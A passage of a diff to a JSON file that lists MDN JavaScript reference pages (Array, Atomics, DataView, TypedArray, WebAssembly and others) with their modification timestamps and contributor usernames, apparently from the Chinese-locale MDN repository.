"badfl", - "hua03", - "kdex", - "xgqfrms-GitHub", - "kameii", - "lizhongyi", + "Tao-Quixote", "Ende93", - "ziyunfei" + "shajiquan" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/indexOf": { - "modified": "2020-10-15T21:26:12.959Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray": { + "modified": "2020-10-15T21:25:05.655Z", "contributors": [ - "SageX", - "Xmader", - "fscholz", - "futurefeeling", - "jiankian", - "big-dinner", + "knightyun", + "9-lives", + "tangtangtangtangtang", + "taoyouh", + "Jiang-Xuan", + "Gintoki", "xgqfrms-GitHub", - "lanezhao", - "keqingrong", + "chenyang", + "liyongleihf2006", "Ende93", - "paddingme", - "AlexChao", - "ziyunfei", - "focus", "teoli", - "eric.yuan" + "David_Li" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/isArray": { - "modified": "2020-10-15T21:02:37.096Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator": { + "modified": "2019-03-23T22:19:18.717Z", "contributors": [ - "SageX", - "Frederick-S", - "fscholz", - "zhangsenhua", - "yenshen", - "xgqfrms-GitHub", - "ToWorkit", - "Dcfm", - "xiaokk06", - "Ende93", - "ziyunfei", - "teoli", - "paddingme" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/join": { - "modified": "2020-10-15T21:05:15.988Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/@@species": { + "modified": "2019-03-23T22:19:06.809Z", "contributors": [ - "SageX", - "Heaan", - "zhangchen", - "fscholz", - "futurefeeling", - "xgqfrms-GitHub", - "badfl", - "helloguangxue", - "yenshen", - "saintwinkle", - "AlexChao", - "ziyunfei", - "teoli" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/keys": { - "modified": "2020-10-15T21:32:21.834Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT": { + "modified": "2019-03-23T22:52:00.851Z", "contributors": [ - "zhangchen", - "fscholz", - "futurefeeling", - "LemonGirl", - "micheal-death", - "xgqfrms-GitHub", - "ziyunfei", - "200OK" + "iFish" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf": { - "modified": "2020-10-15T21:29:02.691Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/buffer": { + "modified": "2019-03-23T22:19:06.244Z", "contributors": [ - "SageX", - "fscholz", - "futurefeeling", - "badfl", - "ywjco", - "AlexChao", - "teoli" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/length": { - "modified": "2020-10-15T21:21:14.308Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength": { + "modified": "2019-03-23T22:19:10.941Z", "contributors": [ - "binarization", - "fscholz", - "fisker", - "jeneser", - "shaodahong", - "The-End-Hero", - "yenshen", - "AlexChao", - "ziyunfei", - "teoli" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/map": { - "modified": "2020-10-15T21:07:20.691Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset": { + "modified": "2019-03-23T22:19:08.934Z", "contributors": [ - "fscholz", - "Zzc19970910", - "Slartbartfast1", - "Jayly", - "ooo1l", - "petrewoo", - "SageX", - "old2sun", - "BingerWeb", - "zhangchen", - "ssttii", - "fengkx", - "xgqfrms-GitHub", - "W4n9Hu1", - "hooozen", - "Ts799498164", - "zhuangyin", - "righttoe", - "notmaster", - "Ende93", - "niices", - "JinxiuLee", - "ziyunfei", - "helinjiang", - "Young-Wang", - "xiaomingming", - "AlexChao", - "teoli" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/of": { - "modified": "2020-10-15T21:17:21.107Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/copyWithin": { + "modified": "2020-03-06T04:49:17.530Z", "contributors": [ - "chunfeng08", - "fscholz", - "mingttong", - "FunnyZ", - "micheal-death", - "enem", - "xgqfrms-GitHub", - "Ende93", - "yenshen", - "ziyunfei", - "teoli", - "Oatn" + "knightyun", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/pop": { - "modified": "2020-10-15T21:21:08.570Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/entries": { + "modified": "2019-03-23T22:19:07.170Z", "contributors": [ - "fscholz", - "Spaghet-Ti", - "ndNovaDev", - "micheal-death", - "xgqfrms-GitHub", - "ysneo", - "AlexChao", - "ziyunfei", - "teoli" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/prototype": { - "modified": "2020-10-15T21:25:06.780Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/every": { + "modified": "2019-03-23T22:19:10.485Z", "contributors": [ - "TonyYu2015", - "fscholz", - "abc45628", - "xgqfrms-GitHub", - "micheal-death", - "ziyunfei", - "WangXiZhu", - "zhen", - "pd4d10", - "teoli", - "charlie", - "andy12530", - "sleepholic" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/push": { - "modified": "2020-10-15T21:17:19.272Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/fill": { + "modified": "2019-03-23T22:11:01.372Z", "contributors": [ - "Huauauaa", - "L9m", - "fscholz", - "lizhonggang", - "Spikef", - "shery", - "micheal-death", - "xgqfrms-GitHub", - "Ende93", - "yenshen", - "AlexChao", - "ziyunfei", - "teoli", - "Oatn" + "benpigchu" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/reverse": { - "modified": "2020-10-15T21:17:25.177Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/filter": { + "modified": "2019-03-23T22:19:16.643Z", "contributors": [ - "jingchaocheng", - "SageX", - "huxinsen", - "ifredom", - "fscholz", - "futurefeeling", - "xgqfrms-GitHub", - "Ende93", - "AlexChao", - "ziyunfei", - "teoli", - "Oatn" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/shift": { - "modified": "2020-10-15T21:26:52.357Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/find": { + "modified": "2019-03-23T22:19:12.001Z", "contributors": [ - "SageX", - "jinger7281", - "fscholz", - "badfl", - "LemonGirl", - "micheal-death", - "xgqfrms-GitHub", - "Ende93", - "pd4d10", - "teoli", - "AlexChao", - "ziyunfei", - "endlesswind" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/slice": { - "modified": "2020-11-30T04:00:58.912Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/findIndex": { + "modified": "2019-03-23T22:19:14.644Z", "contributors": [ - "shery", - "Zzt-G", - "RainSlide", - "Fire1nRain", - "Mrdapeng", - "MoYuLing", - "Jiang-Xuan", - "524119574", - "xgqfrms-GitHub", - "zhuangyin", - "yiyaxueyu", - "k644606347", - "lihx_hit", - "MechanicianW", - "FlowingRiver", - "GTyexing", - "Ende93", - "aximario", - "helloguangxue", - "AlexChao", - "ziyunfei", - "teoli" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/some": { - "modified": "2020-10-15T21:26:00.318Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/forEach": { + "modified": "2020-10-15T21:51:57.505Z", "contributors": [ - "SageX", - "simonzhao", - "Zohar727", - "Kuroo", - "lzszone", - "gqbre", - "lmislm", - "KangKai-fe", - "zhangchen", - "xgqfrms-GitHub", - "AlexChao", - "ziyunfei", - "teoli", - "yanhaijing1234" + "laampui", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/sort": { - "modified": "2020-10-15T21:17:18.762Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/from": { + "modified": "2020-10-15T21:57:11.137Z", "contributors": [ - "810307015", - "xgqfrms", - "zhangchen", - "kaojistream", - "fscholz", - "ywjco", - "Mr-Li-admin", - "NuclearBlast", - "righttoe", - "JackFeng", - "MeCKodo", - "micheal-death", - "Feel-Joy", - "houbx", - "xgqfrms-GitHub", - "ziyunfei", - "stonewen", - "wuzhenquan", - "helloguangxue", - "Ende93", - "helinjiang", - "dameinliu", - "XingxianLI", - "tiansh", - "teoli", - "Oatn" + "knightyun", + "nekronhuang", + "pasturn" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/splice": { - "modified": "2020-10-15T21:28:59.144Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/includes": { + "modified": "2019-03-23T22:19:11.643Z", + "contributors": [ + "wizardforcel" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf": { + "modified": "2019-03-23T22:20:08.080Z", "contributors": [ - "ThornWu", - "ttxs69", - "DouglasRyan", - "oopsguy", - "RainSlide", - "ifredom", - "zhuangyin", - "SphinxKnight", - "VinciXie", - "daijie", - "yonoel", - "dpwwwq", - "shibomeng", - "fscholz", - "Jiang-Xuan", - "zhipeng001", - "lemonboy233", - "ywjco", - "badfl", - "hawtim", - "Lemon-jie", - "KMKNKK", - "frankfang1990", - "FlySnails", "xgqfrms-GitHub", - "NNNaix", - "Lemon-c", - "HUxiaoAlinNG", - "Rising_sun", - "w-halo", - "FlowingRiver", - "me-code", - "Ende93", - "Qin", - "huyue" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/toLocaleString": { - "modified": "2020-10-15T21:29:06.488Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/join": { + "modified": "2019-03-23T22:19:12.294Z", "contributors": [ - "fscholz", - "zhangchen", - "badfl", - "zxhycxq", - "AlexChao" + "wizardforcel" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/keys": { + "modified": "2019-03-23T22:19:18.105Z", + "contributors": [ + "wizardforcel" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/lastIndexOf": { + "modified": "2019-03-23T22:19:04.259Z", + "contributors": [ + "wizardforcel" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/length": { + "modified": "2019-03-23T22:19:16.206Z", + "contributors": [ + "wizardforcel" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/map": { + "modified": "2019-03-23T22:19:16.989Z", + "contributors": [ + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/toSource": { - "modified": "2020-10-15T21:21:06.880Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/name": { + "modified": "2019-03-23T22:27:51.557Z", "contributors": [ - "fscholz", - "badfl", - "teoli", - "ziyunfei" + "lsvih" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/toString": { - "modified": "2020-10-15T21:29:03.089Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/of": { + "modified": "2019-03-23T22:20:06.649Z", "contributors": [ - "zhangchen", - "fscholz", - "AlexChao" + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/unshift": { - "modified": "2020-10-15T21:23:36.187Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/reduce": { + "modified": "2019-03-23T22:22:18.240Z", "contributors": [ - "benngai123", - "No_risk_atpresent", - "jinger7281", - "heeronchang", - "RainSlide", - "L9m", - "zhangchen", - "fscholz", - "xgqfrms-GitHub", - "AlexChao", - "ziyunfei", - "teoli", - "xfeng" + "wizardforcel", + "zurl" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/values": { - "modified": "2020-10-15T21:37:23.141Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/reduceRight": { + "modified": "2019-03-23T22:19:12.473Z", "contributors": [ - "Agcaiyun", - "johnao", - "RainSlide", - "SageX", - "fscholz", - "ywjco", - "redoc", - "xgqfrms-GitHub", - "Ende93", - "AlexChao", - "KingMario" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": { - "modified": "2020-10-15T21:27:45.114Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/reverse": { + "modified": "2019-03-23T22:19:12.148Z", "contributors": [ - "woshiqiang1", - "wallena3", - "Jiang-Xuan", - "Terry.Qiao", - "xgqfrms-GitHub", - "kameii", - "liyongleihf2006", - "maicss", - "teoli", - "Jijie.Chen", - "ziyunfei" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/@@species": { - "modified": "2020-10-15T21:52:04.532Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/set": { + "modified": "2020-10-11T08:53:21.212Z", "contributors": [ - "fscholz", - "Ende93" + "xyzingh", + "knightyun", + "Kylin.this" ] }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength": { - "modified": "2020-10-15T21:37:49.462Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/slice": { + "modified": "2020-10-15T21:59:28.967Z", "contributors": [ - "fscholz", - "kameii", - "fred4444source" + "luojia", + "lvyue" ] }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView": { - "modified": "2020-10-15T21:37:49.247Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/some": { + "modified": "2020-10-15T22:06:36.897Z", "contributors": [ - "Dyon", - "knightyun", - "fscholz", - "yunl819", - "fred4444source" + "rockSandy" ] }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype": { - "modified": "2020-10-15T21:37:49.333Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/sort": { + "modified": "2019-03-23T22:19:06.667Z", "contributors": [ - "fscholz", - "kameii", - "liyongleihf2006", - "fred4444source" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice": { - "modified": "2020-10-15T21:51:34.058Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/subarray": { + "modified": "2020-10-15T22:06:55.665Z", "contributors": [ - "fscholz", - "kameii" + "pea3nut" ] }, - "Web/JavaScript/Reference/Global_Objects/AsyncFunction": { - "modified": "2020-10-15T21:50:47.192Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/toLocaleString": { + "modified": "2020-10-15T22:07:03.779Z", "contributors": [ - "Terry.Qiao", - "xgqfrms-GitHub", - "Ende93", - "_da" + "taoyouh" ] }, - "Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype": { - "modified": "2020-10-15T21:51:59.203Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/toString": { + "modified": "2019-03-23T22:20:22.038Z", "contributors": [ - "daijie", - "fscholz", - "wizardforcel", - "xygcxy" + "kameii" ] }, - "Web/JavaScript/Reference/Global_Objects/AsyncIterator": { - "modified": "2020-10-15T22:28:09.380Z", + "Web/JavaScript/Reference/Global_Objects/TypedArray/values": { + "modified": "2019-03-23T22:19:17.373Z", "contributors": [ - "lxuewu" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics": { - "modified": "2020-10-15T21:47:39.816Z", + "Web/JavaScript/Reference/Global_Objects/URIError": { + "modified": "2020-10-15T21:58:35.369Z", "contributors": [ - "xgqfrms", - "zhangchen", - "Terry.Qiao", - "LawrenceChenPro", - "JianrongYu", - "Ende93", - "Hearmen", - "weishuaikun", - "Spring_Winter_Wine" + "Mal_akh", + "Tao-Quixote", + "HCH.no1" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/add": { - "modified": "2020-10-15T21:52:07.041Z", + "Web/JavaScript/Reference/Global_Objects/Uint16Array": { + "modified": "2020-10-15T22:30:29.389Z", "contributors": [ - "fscholz", - "RoXoM", - "JianrongYu", - "Ende93" + "elfpower" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/and": { - "modified": "2020-10-15T21:52:05.452Z", + "Web/JavaScript/Reference/Global_Objects/Uint32Array": { + "modified": "2020-10-15T21:30:53.115Z", "contributors": [ - "fscholz", - "Ende93" + "Dorence", + "icepro", + "liyongleihf2006", + "chyee" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/compareExchange": { - "modified": "2020-10-15T21:52:07.140Z", + "Web/JavaScript/Reference/Global_Objects/Uint8Array": { + "modified": "2020-10-15T21:36:50.602Z", "contributors": [ - "fscholz", - "Ende93" + "Maiko", + "wizardforcel", + "WhiteMind", + "Meteormatt", + "linus_ding" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/exchange": { - "modified": "2020-10-15T21:52:04.443Z", + "Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray": { + "modified": "2020-08-30T01:01:24.154Z", "contributors": [ - "fscholz", - "Ende93" + "vent", + "xhlsrj" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/isLockFree": { - "modified": "2020-10-15T21:52:17.441Z", + "Web/JavaScript/Reference/Global_Objects/WeakMap": { + "modified": "2020-10-15T21:06:55.119Z", "contributors": [ - "fscholz", - "eyfor", - "Mocuishle" + "Venus14", + "wallena3", + "Ende93", + "WangLeto", + "BingerWeb", + "lizheming", + "hhxxhg", + "xgqfrms-GitHub", + "kameii", + "lvjs", + "Cattla", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/load": { - "modified": "2020-10-15T21:58:11.479Z", + "Web/JavaScript/Reference/Global_Objects/WeakMap/clear": { + "modified": "2019-03-23T22:23:38.007Z", "contributors": [ - "fscholz", - "Mukti" + "teoli", + "xgqfrms-GitHub", + "xx1124961758", + "xdsnet" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/notify": { - "modified": "2020-10-15T22:21:48.950Z", + "Web/JavaScript/Reference/Global_Objects/WeakMap/delete": { + "modified": "2019-03-23T23:13:54.509Z", "contributors": [ - "lizhongzhen11", - "lifankohome" + "SphinxKnight", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/or": { - "modified": "2020-10-15T22:21:50.539Z", + "Web/JavaScript/Reference/Global_Objects/WeakMap/get": { + "modified": "2019-03-23T22:30:00.497Z", "contributors": [ - "lifankohome" + "Hushabyme", + "Cattla", + "legend80s" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/store": { - "modified": "2020-10-15T21:57:10.970Z", + "Web/JavaScript/Reference/Global_Objects/WeakMap/has": { + "modified": "2019-03-23T22:23:27.973Z", "contributors": [ - "fscholz", - "zouyang1230", - "shenrongliu" + "xdsnet" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/sub": { - "modified": "2020-10-15T22:24:45.287Z", + "Web/JavaScript/Reference/Global_Objects/WeakMap/set": { + "modified": "2020-10-15T21:50:40.762Z", "contributors": [ - "BadmasterY" + "Ende93", + "xdsnet" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/wait": { - "modified": "2020-10-15T22:21:34.534Z", + "Web/JavaScript/Reference/Global_Objects/WeakRef": { + "modified": "2020-11-04T03:38:15.371Z", "contributors": [ - "hanalice", - "Jinyingyi" + "moniang", + "DIFFICULTTOGIVE" ] }, - "Web/JavaScript/Reference/Global_Objects/Atomics/xor": { - "modified": "2020-10-15T22:24:45.064Z", + "Web/JavaScript/Reference/Global_Objects/WeakRef/deref": { + "modified": "2020-11-04T03:35:50.870Z", "contributors": [ - "BadmasterY" + "moniang" ] }, - "Web/JavaScript/Reference/Global_Objects/BigInt": { - "modified": "2020-10-15T22:12:07.852Z", + "Web/JavaScript/Reference/Global_Objects/WeakSet": { + "modified": "2020-10-15T21:26:50.454Z", "contributors": [ - "YouHeng", - "BadmasterY", - "dstyxy", - "fefe982", - "ddztomcat", - "c412216887", - "lovue" + "wallena3", + "earlymeme", + "xgqfrms-GitHub", + "Go7hic", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/BigInt/BigInt": { - "modified": "2020-10-15T22:25:55.480Z", + "Web/JavaScript/Reference/Global_Objects/WeakSet/add": { + "modified": "2019-03-23T22:20:53.399Z", "contributors": [ - "wallena3" + "marsgt", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Global_Objects/BigInt/asIntN": { - "modified": "2020-10-15T22:24:46.833Z", + "Web/JavaScript/Reference/Global_Objects/WeakSet/clear": { + "modified": "2019-03-23T22:18:46.466Z", "contributors": [ - "BadmasterY" + "teoli", + "Ende93" ] }, - "Web/JavaScript/Reference/Global_Objects/BigInt/asUintN": { - "modified": "2020-10-15T22:24:47.578Z", + "Web/JavaScript/Reference/Global_Objects/WeakSet/delete": { + "modified": "2020-03-17T12:14:42.437Z", "contributors": [ - "BadmasterY" + "zhenzhenChange", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Global_Objects/BigInt/toLocaleString": { - "modified": "2020-10-15T22:24:47.615Z", + "Web/JavaScript/Reference/Global_Objects/WeakSet/has": { + "modified": "2019-03-23T22:21:07.252Z", "contributors": [ - "BadmasterY" + "Hushabyme" ] }, - "Web/JavaScript/Reference/Global_Objects/BigInt/toString": { - "modified": "2020-10-15T22:24:48.189Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly": { + "modified": "2020-10-15T21:53:08.592Z", "contributors": [ - "BadmasterY" + "wallena3", + "Chesn", + "Gaohaoyang", + "zhangchen", + "chyingp", + "JianrongYu" ] }, - "Web/JavaScript/Reference/Global_Objects/BigInt/valueOf": { - "modified": "2020-10-15T22:24:48.266Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError": { + "modified": "2020-10-15T22:26:35.137Z", "contributors": [ - "BadmasterY" + "wallena3" ] }, - "Web/JavaScript/Reference/Global_Objects/BigInt64Array": { - "modified": "2020-10-15T22:17:01.806Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Global": { + "modified": "2020-11-13T02:45:14.451Z", "contributors": [ - "vent", - "SDUTWSL" + "yujiaao", + "yxwsbobo" ] }, - "Web/JavaScript/Reference/Global_Objects/BigUint64Array": { - "modified": "2020-10-15T22:20:32.429Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance": { + "modified": "2020-10-23T07:01:43.345Z", "contributors": [ - "liruiqi" + "liguorain", + "yxwsbobo", + "SphinxKnight" ] }, - "Web/JavaScript/Reference/Global_Objects/Boolean": { - "modified": "2020-11-05T03:24:53.922Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory": { + "modified": "2020-10-15T22:06:20.710Z", "contributors": [ - "SphinxKnight", - "184289542", - "Yayure", - "snail-xx", - "zeyongTsai", - "Terry.Qiao", - "comyn", - "zhangchen", - "SmluVFpI", - "righttoe", - "Hugh", - "xgqfrms-GitHub", - "Folgore", - "emctoo", - "slientomorrr", - "yenshen", - "ziyunfei", - "teoli" + "Zhang-Junzhi", + "sunwanxin213" ] }, - "Web/JavaScript/Reference/Global_Objects/Boolean/prototype": { - "modified": "2020-10-15T21:06:58.693Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Module": { + "modified": "2020-10-15T22:00:19.792Z", "contributors": [ - "zhangchen", - "keller0", - "teoli", - "AlexChao", - "ziyunfei" + "dondevi" ] }, - "Web/JavaScript/Reference/Global_Objects/Boolean/toSource": { - "modified": "2020-10-15T21:51:59.093Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError": { + "modified": "2020-10-15T22:26:27.221Z", "contributors": [ - "fscholz", - "Grizzly-Eric" + "wallena3" ] }, - "Web/JavaScript/Reference/Global_Objects/Boolean/toString": { - "modified": "2020-10-15T21:28:54.689Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Table": { + "modified": "2020-11-04T03:44:08.051Z", "contributors": [ - "fscholz", - "zhangchen", - "yenshen", - "AlexChao" + "moniang", + "hurrytospring" ] }, - "Web/JavaScript/Reference/Global_Objects/Boolean/valueOf": { - "modified": "2020-10-15T21:28:53.640Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/compile": { + "modified": "2020-10-15T21:58:44.128Z", "contributors": [ - "fscholz", - "zhangchen", - "yenshen", - "AlexChao" + "kungfucode-rex" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView": { - "modified": "2020-10-15T21:34:38.297Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming": { + "modified": "2020-10-15T22:15:30.451Z", "contributors": [ - "wenshui2008", - "RainSlide", - "jason-grimm", - "Jiang-Xuan", - "Terry.Qiao", - "liyongleihf2006", - "Taoja", - "xiaokk06", - "Ende93", - "NIGHTEAGLE" + "Cyandev" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/buffer": { - "modified": "2020-10-15T21:52:04.673Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate": { + "modified": "2020-10-15T21:57:59.458Z", "contributors": [ - "fscholz", - "wizardforcel", - "holynewbie" + "wallena3", + "Hedgehog", + "airt", + "kungfucode-rex" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/byteLength": { - "modified": "2020-10-15T21:52:04.538Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming": { + "modified": "2020-10-15T22:11:30.410Z", "contributors": [ - "fscholz", - "wizardforcel", - "holynewbie" + "Xiaoming666" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/byteOffset": { - "modified": "2020-10-15T21:52:05.195Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/validate": { + "modified": "2020-10-15T22:15:29.365Z", "contributors": [ - "fscholz", - "wizardforcel", - "holynewbie" + "Cyandev" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getBigInt64": { - "modified": "2020-10-15T22:21:33.559Z", + "Web/JavaScript/Reference/Global_Objects/decodeURI": { + "modified": "2020-10-15T21:22:04.033Z", "contributors": [ - "fade-vivida", - "SilverTime" + "Mookiepiece", + "IreneByron", + "laampui", + "xgqfrms-GitHub", + "PoppinL", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getBigUint64": { - "modified": "2020-10-15T22:22:15.035Z", + "Web/JavaScript/Reference/Global_Objects/decodeURIComponent": { + "modified": "2020-03-12T19:39:38.099Z", "contributors": [ - "jinger7281" + "c1er", + "laampui", + "xgqfrms-GitHub", + "PoppinL", + "maicss", + "Ende93", + "SphinxKnight", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getFloat32": { - "modified": "2020-10-15T21:49:48.544Z", + "Web/JavaScript/Reference/Global_Objects/encodeURI": { + "modified": "2020-03-12T19:39:40.462Z", "contributors": [ - "wenshui2008", - "758915145", - "fscholz", - "Taoja" + "xgqfrms-GitHub", + "HelloFun", + "PoppinL", + "leedorian", + "baiya", + "FredWe", + "SphinxKnight", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getFloat64": { - "modified": "2020-10-15T21:49:48.242Z", + "Web/JavaScript/Reference/Global_Objects/encodeURIComponent": { + "modified": "2020-10-15T21:29:33.137Z", "contributors": [ - "758915145", - "fscholz", - "Taoja" + "zhangchen", + "oscarwang913", + "inlym", + "maiff", + "HelloFun", + "PoppinL", + "Roland_Reed", + "fortime", + "SphinxKnight", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getInt16": { - "modified": "2020-10-15T21:49:47.595Z", + "Web/JavaScript/Reference/Global_Objects/escape": { + "modified": "2020-03-12T19:40:29.669Z", "contributors": [ - "knightyun", - "758915145", - "fscholz", - "Taoja" + "1renhaO", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getInt32": { - "modified": "2020-10-15T21:49:48.330Z", + "Web/JavaScript/Reference/Global_Objects/eval": { + "modified": "2020-10-15T21:15:16.670Z", "contributors": [ - "758915145", + "amzrk2", + "mrzhouxu", + "chrislung", + "laampui", + "yasen-wolf", + "RainSlide", + "jinhuiWong", + "Akiq2016", + "extending", + "icepro", + "eeeeeeeason", + "JX-Zhuang", + "yanpengxiang", + "SiberianMark", + "Jiang-Xuan", + "Hugh", + "Binly42", + "ziyunfei", "fscholz", - "Taoja" + "qianjiahao", + "teoli", + "huguowei", + "Mgjbot", + "Laser" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getInt8": { - "modified": "2020-10-15T21:44:13.950Z", + "Web/JavaScript/Reference/Global_Objects/globalThis": { + "modified": "2020-10-15T22:10:51.438Z", "contributors": [ - "758915145", + "MinimalistYing", + "RainSlide", + "wallena3", + "kangkai0124", + "SphinxKnight", + "LEORChn", "fscholz", - "Taoja" + "Jack.Works" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getUint16": { - "modified": "2020-10-15T21:49:47.729Z", + "Web/JavaScript/Reference/Global_Objects/isFinite": { + "modified": "2020-10-15T21:24:26.397Z", "contributors": [ - "758915145", - "fscholz", - "Taoja" + "rulanfenghua", + "littcc", + "Jiang-Xuan", + "golegen", + "SphinxKnight", + "AlexChao", + "teoli", + "zhangyaochun1987" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getUint32": { - "modified": "2020-10-15T21:49:47.551Z", + "Web/JavaScript/Reference/Global_Objects/isNaN": { + "modified": "2020-10-15T21:28:42.019Z", "contributors": [ - "758915145", - "fscholz", - "Taoja" + "Ende93", + "ubuntugx", + "bluetata", + "INCHMAN", + "xgqfrms-GitHub", + "mt001mt", + "Hugh", + "cekingLu", + "wanghaoran", + "Skyang", + "yenshen", + "yufeng", + "SphinxKnight", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getUint8": { - "modified": "2020-10-15T21:44:16.655Z", + "Web/JavaScript/Reference/Global_Objects/null": { + "modified": "2020-10-15T21:21:19.908Z", "contributors": [ - "758915145", - "fscholz", - "Taoja" + "wallena3", + "RainSlide", + "GreedyPig", + "zxsunrise", + "zhuangyin", + "Jiang-Xuan", + "SphinxKnight", + "ziyunfei", + "AlexChao", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/prototype": { - "modified": "2020-10-15T21:38:02.121Z", + "Web/JavaScript/Reference/Global_Objects/parseFloat": { + "modified": "2020-10-15T21:21:34.049Z", "contributors": [ - "fscholz", - "liyongleihf2006", - "Taoja", - "mzhejiayu" + "laampui", + "rulanfenghua", + 